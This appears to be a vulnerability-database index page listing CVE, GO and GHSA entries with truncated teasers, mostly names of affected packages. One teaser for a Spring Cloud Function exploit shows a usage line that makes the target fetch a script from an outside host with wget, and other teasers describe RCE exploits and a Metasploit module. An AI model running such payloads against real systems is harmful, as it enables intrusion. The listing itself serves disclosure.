CVE-2026-44402

CVE-2026-44402 Pre-Authenticated Full Remote Command Execution in Voltronic Power SNMP Web Pro 1.1 Content Affected Vendor: https://voltronicpower.com/ Affected product: SNMP Web pro 1.1 SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi endpoint. T...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Explo...

CVE-2024-6366

To create a Metasploit module to exploit the RCE vulnerability in the User Profile Builder WordPress plugin before version 3.11.8, we need to take advantage of the lack of proper authorization in the media file upload functionality. Here is how you can create such a Metasploit module: Metasploit...

CVE-2026-28956

CVE-2026-28956 Donate Support the maintenance of this project with PayPal or by scanning the QR code below. ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments...

GO-2026-5883 vulnerabilities

Vulnerabilities for packages: docker-machine-driver-harvester...

cve-2026-23989-opencloud-lab

CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope bypass A self-contained, one-command lab that reproduces CVE-2026-23989 and proves it fixed, using the official upstream Docker images. A public share link that is supposed to grant access to one folder can be abused to read...

GO-2026-6613 vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, rancher-security-scan-fips, cluster-api-provider-vsphere-fips,...

GO-2026-6599 vulnerabilities

Vulnerabilities for packages: crossplane-provider-aws-account-fips, crossplane-function-extra-resources, docker-cli-buildx-fips, harbor-registry-fips, nomad, crossplane-provider-keycloak-fips, crossplane-provider-aws-ivs-fips, nginx-prometheus-exporter-fips, kube-logging-logging-operator,...

GO-2026-6600 vulnerabilities

Vulnerabilities for packages: crossplane-provider-aws-account-fips, crossplane-function-extra-resources, docker-cli-buildx-fips, harbor-registry-fips, nomad, crossplane-provider-keycloak-fips, crossplane-provider-aws-ivs-fips, nginx-prometheus-exporter-fips, kube-logging-logging-operator,...

GO-2026-6605 vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, cluster-api-provider-vsphere-fips, litmus-chaos-operator,...

GO-2026-6607 vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, cluster-api-provider-vsphere-fips, litmus-chaos-operator,...

GO-2026-6608 vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, cluster-api-provider-vsphere-fips, litmus-chaos-operator,...

GHSA-WPFX-QCH4-Q5J2 vulnerabilities

Vulnerabilities for packages: crossplane-provider-aws-account-fips, crossplane-function-extra-resources, docker-cli-buildx-fips, harbor-registry-fips, nomad, crossplane-provider-keycloak-fips, crossplane-provider-aws-ivs-fips, nginx-prometheus-exporter-fips, kube-logging-logging-operator,...

GO-2026-6604 vulnerabilities

Vulnerabilities for packages: consul-k8s-fips, kyverno, zitadel, commercial-gitlab-workhorse-ee, loki, containerd, external-dns, flux, cosign-fips, omnictl-multiarch-fips, kube-conformance, tigera-operator, commercial-gitlab-workhorse-ee-fips, qemu-guesthelper, commercial-gitlab-rails-ee-fips,...

GHSA-HQ7W-2XRQ-WP2J vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, cluster-api-provider-vsphere-fips, litmus-chaos-operator,...

GO-2026-6609 vulnerabilities

Vulnerabilities for packages: docker-cli-buildx-fips, polaris-fips, harbor-registry-fips, nomad, drone, nrdot-collector-fips, falcosidekick-ui-fips, kubernetes-dashboard-auth-fips, external-dns, kyverno-policy-reporter-fips, mesosphere-vsphere-csi-fips, omnictl-multiarch-fips, bento-fips, consul,...

GHSA-2GFW-J3C5-J46W vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, rancher-security-scan-fips, cluster-api-provider-vsphere-fips,...

GHSA-22JX-P735-QCPM vulnerabilities

Vulnerabilities for packages: crossplane-provider-aws-account-fips, crossplane-function-extra-resources, docker-cli-buildx-fips, harbor-registry-fips, nomad, crossplane-provider-keycloak-fips, crossplane-provider-aws-ivs-fips, nginx-prometheus-exporter-fips, kube-logging-logging-operator,...

GHSA-874M-FCC5-9GQF vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, cluster-api-provider-vsphere-fips, litmus-chaos-operator,...

GHSA-F5VF-8PVC-394G vulnerabilities

Vulnerabilities for packages: crossplane-function-extra-resources, crossplane-provider-aws-ivs-fips, newrelic-fluent-bit-output, amazon-eks-ami-fips, kube-logging-logging-operator, terraform-provider-kubernetes-fips, cluster-api-provider-vsphere-fips, litmus-chaos-operator,...